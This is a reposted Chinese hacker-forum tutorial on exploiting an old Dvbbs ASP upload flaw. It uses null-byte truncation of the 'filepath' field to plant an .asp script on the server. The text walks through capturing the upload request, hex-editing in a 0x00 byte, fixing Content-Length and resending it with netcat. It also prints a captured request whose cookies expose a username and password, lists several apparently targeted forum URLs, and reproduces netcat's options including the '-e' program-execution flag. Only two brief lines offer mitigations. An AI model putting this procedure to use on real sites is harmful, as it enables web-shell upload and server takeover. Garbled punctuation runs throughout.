asp 之上传漏洞终结篇

2023-07-08 10:41 23次浏览 问答

收藏关于上传漏洞的文章,最近一直遇到这个麻烦,
出自:黑鹰基地论坛
http://www。gxlsystem。com
一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
用于提交数据包
DOS界面下运行:
NC-vvwww。
gxlsystem。com80<1。txt
-vv:回显
80:www端口
1。txt:就是你要发送的数据包
(更多使用方法请查看本区的帖子)
WSE(WSockExpert)
对本机端口的监视,抓取IE提交的数据包
(不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机:www。
gxlsystem。com;
bbs路径:/bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile。asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,
用到的变量:
filepath默认值uploadface属性hiden
act默认值upload属性hiden
file1就是你要传的那个文件
关键是filepath这个变量!
默认情况下我们的文件上传到www。
gxlsystem。com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&”。
“&FileExt
————————————————————————-
我们知道计算机里面的数据是一”\0″为标致的用过C语言的都知道
chardata[]=”bbs”
这个data数组长度是4:bbs\0
如果我们构造filepath如下,会怎么样呢?
filepath=”/newmm。
asp\0″
我们在2004。09。24。08。24传的文件就会发生变化
没有改时:
http://www。gxlsystem。com/bbs/uploadface/200409240824。
jpg
用我们构造的filepath时:
http://www。gxlsystem。com/newmm。asp\0/200409240824。jpg
这样当服务器接收filepath数据时,检测到newmm。
asp后面的\0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:\1。asp
就保存成:http://www。gxlsystem。com/newmm。asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile。
exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)。但是最基本的没改啊。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。

就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
http://dvd。
3800cc。com/dispbbs。asp?BoardID=20&ID=5369
http://dvd。3800cc。com/dispbbs。asp?BoardID=20&ID=5530
http://dvd。
3800cc。com/dispbbs。asp?BoardID=20&ID=5531
http://dvd。3800cc。com/dispbbs。asp?BoardID=20&ID=5693
http://dvd。
3800cc。com/dispbbs。asp?BoardID=20&ID=5731
http://dvd。3800cc。com/dispbbs。asp?BoardID=20&ID=5746
监听外部主机
NC[-options]hostnameport[s][ports]。

监听本地主机
NC-l-pport[options][hostname][port]
options:
-ddetachfromconsole,stealthmode
-eproginboundprogramtoexec[dangerous!]
-ggatewaysource-routinghoppoint[s],upto8
-Gnumsource-routingpointer:4,8,12,
-hthiscruft
-isecsdelayintervalforlinessent,portsscanned
-llistenmode,forinboundconnects
-Llistenharder,re-listenonsocketclose
-nnumeric-onlyIPaddresses,noDNS
-ofilehexdumpoftraffic
-pportlocalportnumber
-rrandomizelocalandremoteports
-saddrlocalsourceaddress
-tanswerTELNETnegotiation
-uUDPmode
-vverbose[usetwicetobemoreverbose]
-wsecstimeoutforconnectsandfinalnetreads
-zzero-I/Omode[usedforscanning]
portnumberscanbeindividualorranges:m-n[inclusive]
详细实例:
———————————————————————————
一、WSE抓包结果(存到1。
txt里):
POST/bbs/upPhoto/upfile。aspHTTP/1。1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd。
ms-excel,application/vnd。ms-powerpoint,application/msword,*/*
Referer:http://www。gxlsystem。com/bbs/upPhoto/upload。
asp
Accept-Language:zh-cn
Content-Type:multipart/form-data;boundary=—————————7d423a138d0278
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/4。
0(compatible;MSIE6。0;WindowsNT5。1;NETCLR1。1。4322)
Host:www。gxlsystem。com
Content-Length:1969
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF;isCome=1;GAMVANCOOKIES=1;regTime=2004%2D9%2D24+3%3A39%3A37;username=szjwwwww;pass=5211314;dl=0;userID=62;ltStyle=0;loginTry=1;userPass=eb03f6c72908fd84
—————————–7d423a138d0278
Content-Disposition:form-data;name=”filepath”

/medias/myPhoto/
—————————–7d423a138d0278

上传
—————————–7d423a138d0278–
———————————————————————————
二、UltraEdit打开1。
txt改数据:

—————————–7d423a138d0278
Content-Disposition:form-data;name=”filepath”
/newmm。
asp█<===这个黑色代表一个空格是0x20,改成0x00就可以了

三、重新计算cookies长度,然后nc提交
Nc-vvwww。gxlsystem。com80<1。
txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致:\0====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾
处加个00就OK了
计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

Host:www。gxlsystem。com
Content-Length:1969<======就是这个
Connection:Keep-Alive
Cache-Control:no-cache

计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。

这个方法是目前最有效的(我认为的)
2、加强对于\0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了。

相关推荐